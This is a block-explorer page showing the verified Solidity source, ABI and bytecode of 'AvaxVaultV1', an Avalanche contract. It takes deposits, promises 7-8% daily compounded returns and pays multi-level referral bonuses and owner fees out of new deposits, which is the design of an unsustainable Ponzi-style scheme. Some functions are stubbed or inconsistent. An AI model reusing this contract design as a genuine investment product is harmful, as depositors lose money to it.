Contract
0x1dd1adf53c744731a16e6540d62f146e33174776
2
Contract Overview
Balance:
0 AVAX
AVAX Value:
$0.00
My Name Tag:
Not Available, login to update
Txn Hash | Method |
Block
|
From
|
To
|
Value | [Txn Fee] | |||
---|---|---|---|---|---|---|---|---|---|
0xe791ebec6b92116d38ed9ffcdb210072d9d51b4716394f3afa62e9dbc47ae16e | 0x60e06040 | 12492179 | 314 days 7 hrs ago | 0x786755e3a1dfcb121f754ffb9249095d9f4c9ebf | IN | Create: AvaxVaultV1 | 0 AVAX | 0.133814537101 |
[ Download CSV Export ]
Contract Name:
AvaxVaultV1
Compiler Version
v0.8.4+commit.c7e474f2
Contract Source Code (Solidity)
/** *Submitted for verification at snowtrace.io on 2022-03-24 */ //SPDX-License-Identifier: Unlicense pragma solidity 0.8.4; contract AvaxVaultV1 { using SafeMath for uint256; using SafeMath for uint8; uint256 public constant INVEST_MIN_AMOUNT = 5 ether; uint256[] public REFERRAL_PERCENTS = [50, 30, 20]; uint256 public constant PROJECT_FEE = 50; //5% uint256 public constant DEVELOPER_FEE = 50; //5% uint256 public constant PERCENTS_DIVIDER = 1000; uint256 public constant TIME_STEP = 1 days; uint256 public constant MAX_HOLD_PERCENT = 15; uint256 WITHDRAW_FEE = 100; //10% uint256 public totalStaked; uint256 public totalRefBonus; uint256 public totalUsers; struct Plan { uint256 time; uint256 percent; } Plan[] internal plans; struct Deposit { uint8 plan; uint256 percent; uint256 amount; uint256 profit; uint256 start; uint256 finish; } struct User { Deposit[] deposits; uint256 checkpoint; uint256 holdBonusCheckpoint; address payable referrer; uint256 referrals; uint256 totalBonus; uint256 withdrawn; } mapping(address => User) internal users; uint256 public startUNIX; address payable private projectWallet; address payable private developerWallet; event Newbie(address user); event NewDeposit( address indexed user, uint8 plan, uint256 percent, uint256 amount, uint256 profit, uint256 start, uint256 finish ); event Withdrawn(address indexed user, uint256 amount); event RefBonus( address indexed referrer, address indexed referral, uint256 indexed level, uint256 amount ); constructor( address payable _projectWallet, address payable _developerWallet ) { require(!isContract(_projectWallet)); projectWallet = _projectWallet; developerWallet = _developerWallet; startUNIX = block.timestamp.add(365 days); plans.push(Plan(14, 80)); // 8% per day for 14 days (at the end, compounding) plans.push(Plan(28, 70)); // 7% per day for 28 days (at the end, compounding) } function launch() public { require(msg.sender == developerWallet); startUNIX = block.timestamp; } function invest(address payable referrer, uint8 plan) public payable { _invest(referrer, plan, payable(msg.sender), msg.value); } function _invest( address payable referrer, uint8 plan, address payable sender, uint256 value ) private { require(value >= INVEST_MIN_AMOUNT); require(plan < 6, "Invalid plan"); require(startUNIX < block.timestamp, "contract hasn`t started yet"); uint256 fee = value.mul(PROJECT_FEE).div(PERCENTS_DIVIDER); projectWallet.transfer(fee); uint256 developerFee = value.mul(DEVELOPER_FEE).div(PERCENTS_DIVIDER); developerWallet.transfer(developerFee); User storage user = users[sender]; if (user.referrer == address(0)) { if (users[referrer].deposits.length > 0 && referrer != sender) { user.referrer = referrer; } address upline = user.referrer; for (uint256 i = 0; i < 3; i++) { if (upline != address(0)) { users[upline].referrals = users[upline].referrals.add(1); upline = users[upline].referrer; } else break; } } if (user.referrer != address(0)) { uint256 _refBonus = 0; address payable upline = user.referrer; for (uint256 i = 0; i < 3; i++) { if (upline != address(0)) { uint256 amount = value.mul(REFERRAL_PERCENTS[i]).div( PERCENTS_DIVIDER ); users[upline].totalBonus = users[upline].totalBonus.add( amount ); upline.transfer(amount); _refBonus = _refBonus.add(amount); emit RefBonus(upline, sender, i, amount); upline = users[upline].referrer; } else break; } totalRefBonus = totalRefBonus.add(_refBonus); } if (user.deposits.length == 0) { user.checkpoint = block.timestamp; user.holdBonusCheckpoint = block.timestamp; emit Newbie(sender); } (uint256 percent, uint256 profit, uint256 finish) = getResult( plan, value ); user.deposits.push( Deposit(plan, percent, value, profit, block.timestamp, finish) ); totalStaked = totalStaked.add(value); totalUsers = totalUsers.add(1); emit NewDeposit( sender, plan, percent, value, profit, block.timestamp, finish ); } function withdraw() public { User storage user = users[msg.sender]; uint256 totalAmount = getUserDividends(msg.sender); require(totalAmount > 0, "User has no dividends"); uint256 contractBalance = address(this).balance; if (contractBalance < totalAmount) { totalAmount = contractBalance; } user.checkpoint = block.timestamp; user.holdBonusCheckpoint = block.timestamp; user.withdrawn = user.withdrawn.add(totalAmount); payable(msg.sender).transfer(totalAmount); emit Withdrawn(msg.sender, totalAmount); } function getContractBalance() public view returns (uint256) { return address(this).balance; } function getPlanInfo(uint8 plan) public view returns (uint256 time, uint256 percent) { time = plans[plan].time; percent = plans[plan].percent; } function getPercent(uint8 plan) public view returns (uint256) { return plans[plan].percent; } function getResult(uint8 plan, uint256 deposit) public view returns ( uint256 percent, uint256 profit, uint256 finish ) { percent = getPercent(plan); for (uint256 i = 0; i < plans[plan].time; i++) { profit = profit.add( (deposit.add(profit)).mul(percent).div(PERCENTS_DIVIDER) ); } finish = block.timestamp.add(plans[plan].time.mul(TIME_STEP)); } function getUserPercentRate(address userAddress) public view returns (uint256) { User storage user = users[userAddress]; uint256 timeMultiplier = block .timestamp .sub(user.holdBonusCheckpoint) .div(TIME_STEP); // +0.1% per day if (timeMultiplier > MAX_HOLD_PERCENT) { timeMultiplier = MAX_HOLD_PERCENT; } return timeMultiplier; } function getUserDividends(address userAddress) public view returns (uint256) { User storage user = users[userAddress]; uint256 totalAmount; for (uint256 i = 0; i < user.deposits.length; i++) { if (user.checkpoint < user.deposits[i].finish) { if (block.timestamp > user.deposits[i].finish) { uint256 _profit = user.deposits[i].profit; uint256 _profitWithFee = _profit.sub( _profit.mul(WITHDRAW_FEE).div(PERCENTS_DIVIDER) ); totalAmount = totalAmount.add(_profitWithFee); } } } return totalAmount; } function getUserAvailable(address userAddress) public view returns (uint256) { User storage user = users[userAddress]; uint256 totalAmount; for (uint256 i = 0; i < user.deposits.length; i++) { if (block.timestamp > user.deposits[i].finish) { totalAmount = totalAmount.add(user.deposits[i].profit); } } return totalAmount; } function getContractInfo() public view returns ( uint256, uint256, uint256 ) { return (totalStaked, totalRefBonus, totalUsers); } function getUserWithdrawn(address userAddress) public view returns (uint256) { return users[userAddress].withdrawn; } function getUserCheckpoint(address userAddress) public view returns (uint256) { return users[userAddress].checkpoint; } function getUserReferrer(address userAddress) public view returns (address) { return users[userAddress].referrer; } function getUserDownlineCount(address userAddress) public view returns (uint256) { return (users[userAddress].referrals); } function getUserReferralTotalBonus(address userAddress) public view returns (uint256) { return users[userAddress].totalBonus; } function getUserDepositCount(address userAddress) public view returns (uint256) { return users[userAddress].deposits.length; } function getUserTotalDeposits(address userAddress) public view returns (uint256 amount) { for (uint256 i = 0; i < users[userAddress].deposits.length; i++) { amount = amount.add(users[userAddress].deposits[i].amount); } } function getUserTotalWithdrawn(address userAddress) public view returns (uint256 amount) {} function getUserDepositInfo(address userAddress, uint256 index) public view returns ( uint8 plan, uint256 percent, uint256 amount, uint256 profit, uint256 start, uint256 finish ) { User storage user = users[userAddress]; plan = user.deposits[index].plan; percent = user.deposits[index].percent; amount = user.deposits[index].amount; profit = user.deposits[index].profit; start = user.deposits[index].start; finish = user.deposits[index].finish; } function isContract(address addr) internal view returns (bool) { uint256 size; assembly { size := extcodesize(addr) } return size > 0; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } }
[{"inputs":[{"internalType":"address payable","name":"_projectWallet","type":"address"},{"internalType":"address payable","name":"_developerWallet","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"user","type":"address"},{"indexed":false,"internalType":"uint8","name":"plan","type":"uint8"},{"indexed":false,"internalType":"uint256","name":"percent","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"profit","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"start","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"finish","type":"uint256"}],"name":"NewDeposit","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"user","type":"address"}],"name":"Newbie","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"referrer","type":"address"},{"indexed":true,"internalType":"address","name":"referral","type":"address"},{"indexed":true,"internalType":"uint256","name":"level","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"RefBonus","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"user","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Withdrawn","type":"event"},{"inputs":[],"name":"DEVELOPER_FEE","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"INVEST_MIN_AMOUNT","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"MAX_HOLD_PERCENT","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"PERCENTS_DIVIDER","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"PROJECT_FEE","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"REFERRAL_PERCENTS","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"TIME_STEP","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getContractBalance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getContractInfo","outputs":[{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint8","name":"plan","type":"uint8"}],"name":"getPercent","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint8","name":"plan","type":"uint8"}],"name":"getPlanInfo","outputs":[{"internalType":"uint256","name":"time","type":"uint256"},{"internalType":"uint256","name":"percent","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint8","name":"plan","type":"uint8"},{"internalType":"uint256","name":"deposit","type":"uint256"}],"name":"getResult","outputs":[{"internalType":"uint256","name":"percent","type":"uint256"},{"internalType":"uint256","name":"profit","type":"uint256"},{"internalType":"uint256","name":"finish","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"userAddress","type":"address"}],"name":"getUserAvailable","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"userAddress","type":"address"}],"name":"getUserCheckpoint","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"userAddress","type":"address"}],"name":"getUserDepositCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"userAddress","type":"address"},{"internalType":"uint256","name":"index","type":"uint256"}],"name":"getUserDepositInfo","outputs":[{"internalType":"uint8","name":"plan","type":"uint8"},{"internalType":"uint256","name":"percent","type":"uint256"},{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"uint256","name":"profit","type":"uint256"},{"internalType":"uint256","name":"start","type":"uint256"},{"internalType":"uint256","name":"finish","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"userAddress","type":"address"}],"name":"getUserDividends","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"userAddress","type":"address"}],"name":"getUserDownlineCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"userAddress","type":"address"}],"name":"getUserPercentRate","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"userAddress","type":"address"}],"name":"getUserReferralTotalBonus","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"userAddress","type":"address"}],"name":"getUserReferrer","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"userAddress","type":"address"}],"name":"getUserTotalDeposits","outputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"userAddress","type":"address"}],"name":"getUserTotalWithdrawn","outputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"userAddress","type":"address"}],"name":"getUserWithdrawn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address payable","name":"referrer","type":"address"},{"internalType":"uint8","name":"plan","type":"uint8"}],"name":"invest","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"launch","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startUNIX","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalRefBonus","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalStaked","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalUsers","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60e060405260326080908152601e60a052601460c05262000025906000906003620001dc565b5060646001553480156200003857600080fd5b506040516200195e3803806200195e8339810160408190526200005b9162000265565b813b156200006857600080fd5b600880546001600160a01b03199081166001600160a01b038581169190911790925560098054909116918316919091179055620000b6426301e133806200016f602090811b62000d6617901c565b6007555050604080518082018252600e81526050602080830191825260058054600181810183556000838152955160029283027f036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db08181019290925595517f036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db1968701558751808901909852601c885260469488019485528354918201845592909552945193909402938401929092559051910155620002c1565b6000806200017e83856200029c565b905083811015620001d55760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640160405180910390fd5b9392505050565b8280548282559060005260206000209081019282156200021f579160200282015b828111156200021f578251829060ff16905591602001919060010190620001fd565b506200022d92915062000231565b5090565b5b808211156200022d576000815560010162000232565b80516001600160a01b03811681146200026057600080fd5b919050565b6000806040838503121562000278578182fd5b620002838362000248565b9150620002936020840162000248565b90509250929050565b60008219821115620002bc57634e487b7160e01b81526011600452602481fd5b500190565b61168d80620002d16000396000f3fe6080604052600436106101d85760003560e01c80635936cf6111610102578063aecaa63411610095578063d56b754611610064578063d56b7546146103f4578063d7ffca91146105c3578063e262113e146105fc578063fb4cb32b1461061857600080fd5b8063aecaa63414610511578063bff1f9e114610546578063c0806b031461055c578063c2341238146105ad57600080fd5b80637cc1f867116100d15780637cc1f867146104a05780637e3abeea146104bb578063817b1cd2146104db578063a51b9533146104f157600080fd5b80635936cf611461041c578063600d20ce1461045757806369b11dd5146104775780636f9fb98a1461048d57600080fd5b806321821bc81161017a578063447673081161014957806344767308146103a657806348c37203146103bb57806348d44bd1146103f4578063581c5ae61461040957600080fd5b806321821bc8146102ec57806332bc298c1461032657806336144c9a1461033d5780633ccfd60b1461039157600080fd5b8063040a772e116101b6578063040a772e14610256578063153ab9df146102765780631b9a26f0146102965780631bae91a4146102b657600080fd5b806301339c21146101dd57806301c234a8146101f457806303a93c0c1461021d575b600080fd5b3480156101e957600080fd5b506101f2610639565b005b34801561020057600080fd5b5061020a6103e881565b6040519081526020015b60405180910390f35b34801561022957600080fd5b5061020a6102383660046114d8565b6001600160a01b031660009081526006602052604090206004015490565b34801561026257600080fd5b5061020a6102713660046114d8565b610656565b34801561028257600080fd5b5061020a6102913660046114d8565b610787565b3480156102a257600080fd5b5061020a6102b13660046114d8565b610843565b3480156102c257600080fd5b5061020a6102d13660046114d8565b6001600160a01b031660009081526006602052604090205490565b3480156102f857600080fd5b5061020a6103073660046114d8565b6001600160a01b03166000908152600660208190526040909120015490565b34801561033257600080fd5b5061020a6201518081565b34801561034957600080fd5b506103796103583660046114d8565b6001600160a01b039081166000908152600660205260409020600301541690565b6040516001600160a01b039091168152602001610214565b34801561039d57600080fd5b506101f261088c565b3480156103b257600080fd5b5061020a600f81565b3480156103c757600080fd5b5061020a6103d63660046114d8565b6001600160a01b031660009081526006602052604090206005015490565b34801561040057600080fd5b5061020a603281565b6101f26104173660046114f4565b61098a565b34801561042857600080fd5b5061043c610437366004611585565b61099a565b60408051938452602084019290925290820152606001610214565b34801561046357600080fd5b5061020a610472366004611553565b610a78565b34801561048357600080fd5b5061020a60035481565b34801561049957600080fd5b504761020a565b3480156104ac57600080fd5b5060025460035460045461043c565b3480156104c757600080fd5b5061020a6104d63660046114d8565b610a99565b3480156104e757600080fd5b5061020a60025481565b3480156104fd57600080fd5b5061020a61050c36600461156b565b610b35565b34801561051d57600080fd5b5061053161052c36600461156b565b610b74565b60408051928352602083019190915201610214565b34801561055257600080fd5b5061020a60045481565b34801561056857600080fd5b5061057c610577366004611528565b610bec565b6040805160ff90971687526020870195909552938501929092526060840152608083015260a082015260c001610214565b3480156105b957600080fd5b5061020a60075481565b3480156105cf57600080fd5b5061020a6105de3660046114d8565b6001600160a01b031660009081526006602052604090206001015490565b34801561060857600080fd5b5061020a674563918244f4000081565b34801561062457600080fd5b5061020a6106333660046114d8565b50600090565b6009546001600160a01b0316331461065057600080fd5b42600755565b6001600160a01b038116600090815260066020526040812081805b825481101561077f5782600001818154811061069d57634e487b7160e01b600052603260045260246000fd5b9060005260206000209060060201600501548360010154101561076d578260000181815481106106dd57634e487b7160e01b600052603260045260246000fd5b90600052602060002090600602016005015442111561076d57600083600001828154811061071b57634e487b7160e01b600052603260045260246000fd5b9060005260206000209060060201600301549050600061075c6107556103e861074f60015486610dce90919063ffffffff16565b90610e4d565b8390610eb2565b90506107688482610d66565b935050505b806107778161160e565b915050610671565b509392505050565b6001600160a01b038116600090815260066020526040812081805b825481101561077f578260000181815481106107ce57634e487b7160e01b600052603260045260246000fd5b9060005260206000209060060201600501544211156108315761082e83600001828154811061080d57634e487b7160e01b600052603260045260246000fd5b90600052602060002090600602016003015483610d6690919063ffffffff16565b91505b8061083b8161160e565b9150506107a2565b6001600160a01b03811660009081526006602052604081206002810154829061087690620151809061074f904290610eb2565b9050600f8111156108855750600f5b9392505050565b336000818152600660205260408120916108a590610656565b9050600081116108f45760405162461bcd60e51b81526020600482015260156024820152745573657220686173206e6f206469766964656e647360581b60448201526064015b60405180910390fd5b4781811015610901578091505b42600184018190556002840155600683015461091d9083610d66565b6006840155604051339083156108fc029084906000818181858888f1935050505015801561094f573d6000803e3d6000fd5b5060405182815233907f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d59060200160405180910390a2505050565b61099682823334610f10565b5050565b60008060006109a885610b35565b925060005b60058660ff16815481106109d157634e487b7160e01b600052603260045260246000fd5b906000526020600020906002020160000154811015610a2257610a0e610a076103e861074f87610a018a89610d66565b90610dce565b8490610d66565b925080610a1a8161160e565b9150506109ad565b50610a6f610a686201518060058860ff1681548110610a5157634e487b7160e01b600052603260045260246000fd5b600091825260209091206002909102015490610dce565b4290610d66565b90509250925092565b60008181548110610a8857600080fd5b600091825260209091200154905081565b6000805b6001600160a01b038316600090815260066020526040902054811015610b2f576001600160a01b03831660009081526006602052604090208054610b1b919083908110610afa57634e487b7160e01b600052603260045260246000fd5b90600052602060002090600602016002015483610d6690919063ffffffff16565b915080610b278161160e565b915050610a9d565b50919050565b600060058260ff1681548110610b5b57634e487b7160e01b600052603260045260246000fd5b9060005260206000209060020201600101549050919050565b60008060058360ff1681548110610b9b57634e487b7160e01b600052603260045260246000fd5b906000526020600020906002020160000154915060058360ff1681548110610bd357634e487b7160e01b600052603260045260246000fd5b9060005260206000209060020201600101549050915091565b6001600160a01b038216600090815260066020526040812080548291829182918291829190819089908110610c3157634e487b7160e01b600052603260045260246000fd5b6000918252602090912060069091020154815460ff9091169750819089908110610c6b57634e487b7160e01b600052603260045260246000fd5b9060005260206000209060060201600101549550806000018881548110610ca257634e487b7160e01b600052603260045260246000fd5b9060005260206000209060060201600201549450806000018881548110610cd957634e487b7160e01b600052603260045260246000fd5b9060005260206000209060060201600301549350806000018881548110610d1057634e487b7160e01b600052603260045260246000fd5b9060005260206000209060060201600401549250806000018881548110610d4757634e487b7160e01b600052603260045260246000fd5b9060005260206000209060060201600501549150509295509295509295565b600080610d7383856115a0565b905083811015610dc55760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016108eb565b90505b92915050565b600082610ddd57506000610dc8565b6000610de983856115d8565b905082610df685836115b8565b14610dc55760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016108eb565b6000808211610e9e5760405162461bcd60e51b815260206004820152601a60248201527f536166654d6174683a206469766973696f6e206279207a65726f00000000000060448201526064016108eb565b6000610eaa83856115b8565b949350505050565b600082821115610f045760405162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f77000060448201526064016108eb565b6000610eaa83856115f7565b674563918244f40000811015610f2557600080fd5b60068360ff1610610f675760405162461bcd60e51b815260206004820152600c60248201526b24b73b30b634b210383630b760a11b60448201526064016108eb565b4260075410610fb85760405162461bcd60e51b815260206004820152601b60248201527f636f6e7472616374206861736e6074207374617274656420796574000000000060448201526064016108eb565b6000610fcb6103e861074f846032610dce565b6008546040519192506001600160a01b03169082156108fc029083906000818181858888f19350505050158015611006573d6000803e3d6000fd5b50600061101a6103e861074f856032610dce565b6009546040519192506001600160a01b03169082156108fc029083906000818181858888f19350505050158015611055573d6000803e3d6000fd5b506001600160a01b038085166000908152600660205260409020600381015490911661116f576001600160a01b038716600090815260066020526040902054158015906110b45750846001600160a01b0316876001600160a01b031614155b156110d7576003810180546001600160a01b0319166001600160a01b0389161790555b60038101546001600160a01b031660005b600381101561116c576001600160a01b03821615611155576001600160a01b038216600090815260066020526040902060040154611127906001610d66565b6001600160a01b0392831660009081526006602052604090206004810191909155600301549091169061115a565b61116c565b806111648161160e565b9150506110e8565b50505b60038101546001600160a01b0316156113135760038101546000906001600160a01b0316815b60038110156112ff576001600160a01b038216156112e85760006111f36103e861074f600085815481106111d957634e487b7160e01b600052603260045260246000fd5b90600052602060002001548b610dce90919063ffffffff16565b6001600160a01b03841660009081526006602052604090206005015490915061121c9082610d66565b6001600160a01b038416600081815260066020526040808220600501939093559151909183156108fc02918491818181858888f19350505050158015611266573d6000803e3d6000fd5b506112718482610d66565b935081896001600160a01b0316846001600160a01b03167fd41f7e766eebcc7ff42b11ac8691bdf864db4afc0c55e71d629d54edce460d98846040516112b991815260200190565b60405180910390a4506001600160a01b03918216600090815260066020526040902060030154909116906112ed565b6112ff565b806112f78161160e565b915050611195565b5060035461130d9083610d66565b60035550505b805461136357426001820181905560028201556040516001600160a01b03861681527f9fd565cd14c3c391679eb0cad12a14dcf7534e9d3462bcb9b67a098a9bbbc24a9060200160405180910390a15b6000806000611372898861099a565b925092509250836000016040518060c001604052808b60ff16815260200185815260200189815260200184815260200142815260200183815250908060018154018082558091505060019003906000526020600020906006020160009091909190915060008201518160000160006101000a81548160ff021916908360ff1602179055506020820151816001015560408201518160020155606082015181600301556080820151816004015560a08201518160050155505061143f87600254610d6690919063ffffffff16565b600255600454611450906001610d66565b6004556040805160ff8b168152602081018590529081018890526060810183905242608082015260a081018290526001600160a01b038916907f84e02daa69bdb087c9fe8d3041abca495512cb14e723070f6d1d4efface82e5d9060c00160405180910390a250505050505050505050565b803560ff811681146114d357600080fd5b919050565b6000602082840312156114e9578081fd5b8135610dc58161163f565b60008060408385031215611506578081fd5b82356115118161163f565b915061151f602084016114c2565b90509250929050565b6000806040838503121561153a578182fd5b82356115458161163f565b946020939093013593505050565b600060208284031215611564578081fd5b5035919050565b60006020828403121561157c578081fd5b610885826114c2565b60008060408385031215611597578182fd5b611545836114c2565b600082198211156115b3576115b3611629565b500190565b6000826115d357634e487b7160e01b81526012600452602481fd5b500490565b60008160001904831182151516156115f2576115f2611629565b500290565b60008282101561160957611609611629565b500390565b600060001982141561162257611622611629565b5060010190565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b038116811461165457600080fd5b5056fea26469706673582212208b01287cc0d77d9a36a2aa757b67878497da2720fe23477979f8ef312897572b64736f6c6343000804003300000000000000000000000054d61e863595ee2575afc37b55f4b737c8f9106500000000000000000000000098ea55bb4e2821a18ea26f95598ff2e19ac8073b
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
00000000000000000000000054d61e863595ee2575afc37b55f4b737c8f9106500000000000000000000000098ea55bb4e2821a18ea26f95598ff2e19ac8073b
-----Decoded View---------------
Arg [0] : _projectWallet (address): 0x54d61e863595ee2575afc37b55f4b737c8f91065
Arg [1] : _developerWallet (address): 0x98ea55bb4e2821a18ea26f95598ff2e19ac8073b
-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 00000000000000000000000054d61e863595ee2575afc37b55f4b737c8f91065
Arg [1] : 00000000000000000000000098ea55bb4e2821a18ea26f95598ff2e19ac8073b
Deployed ByteCode Sourcemap
66:11063:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2318:120;;;;;;;;;;;;;:::i;:::-;;380:47;;;;;;;;;;;;423:4;380:47;;;;;4853:25:1;;;4841:2;4826:18;380:47:0;;;;;;;;9328:169;;;;;;;;;;-1:-1:-1;9328:169:0;;;;;:::i;:::-;-1:-1:-1;;;;;9460:18:0;9427:7;9460:18;;;:5;:18;;;;;:28;;;;9328:169;7360:754;;;;;;;;;;-1:-1:-1;7360:754:0;;;;;:::i;:::-;;:::i;8122:454::-;;;;;;;;;;-1:-1:-1;8122:454:0;;;;;:::i;:::-;;:::i;6884:468::-;;;;;;;;;;-1:-1:-1;6884:468:0;;;;;:::i;:::-;;:::i;9686:172::-;;;;;;;;;;-1:-1:-1;9686:172:0;;;;;:::i;:::-;-1:-1:-1;;;;;9816:18:0;9784:7;9816:18;;;:5;:18;;;;;:34;;9686:172;8815:163;;;;;;;;;;-1:-1:-1;8815:163:0;;;;;:::i;:::-;-1:-1:-1;;;;;8942:18:0;8910:7;8942:18;;;:5;:18;;;;;;;;:28;;;8815:163;434:42;;;;;;;;;;;;470:6;434:42;;9159:161;;;;;;;;;;-1:-1:-1;9159:161:0;;;;;:::i;:::-;-1:-1:-1;;;;;9285:18:0;;;9253:7;9285:18;;;:5;:18;;;;;:27;;;;;9159:161;;;;-1:-1:-1;;;;;1928:32:1;;;1910:51;;1898:2;1883:18;9159:161:0;1865:102:1;5284:633:0;;;;;;;;;;;;;:::i;485:45::-;;;;;;;;;;;;528:2;485:45;;9505:173;;;;;;;;;;-1:-1:-1;9505:173:0;;;;;:::i;:::-;-1:-1:-1;;;;;9641:18:0;9609:7;9641:18;;;:5;:18;;;;;:29;;;;9505:173;274:40;;;;;;;;;;;;312:2;274:40;;2446:143;;;;;;:::i;:::-;;:::i;6362:514::-;;;;;;;;;;-1:-1:-1;6362:514:0;;;;;:::i;:::-;;:::i;:::-;;;;5344:25:1;;;5400:2;5385:18;;5378:34;;;;5428:18;;;5421:34;5332:2;5317:18;6362:514:0;5299:162:1;218:49:0;;;;;;;;;;-1:-1:-1;218:49:0;;;;;:::i;:::-;;:::i;613:28::-;;;;;;;;;;;;;;;;5925:107;;;;;;;;;;-1:-1:-1;6003:21:0;5925:107;;8584:223;;;;;;;;;;-1:-1:-1;8760:11:0;;8773:13;;8788:10;;8584:223;;9866:288;;;;;;;;;;-1:-1:-1;9866:288:0;;;;;:::i;:::-;;:::i;580:26::-;;;;;;;;;;;;;;;;6247:107;;;;;;;;;;-1:-1:-1;6247:107:0;;;;;:::i;:::-;;:::i;6040:199::-;;;;;;;;;;-1:-1:-1;6040:199:0;;;;;:::i;:::-;;:::i;:::-;;;;5063:25:1;;;5119:2;5104:18;;5097:34;;;;5036:18;6040:199:0;5018:119:1;648:25:0;;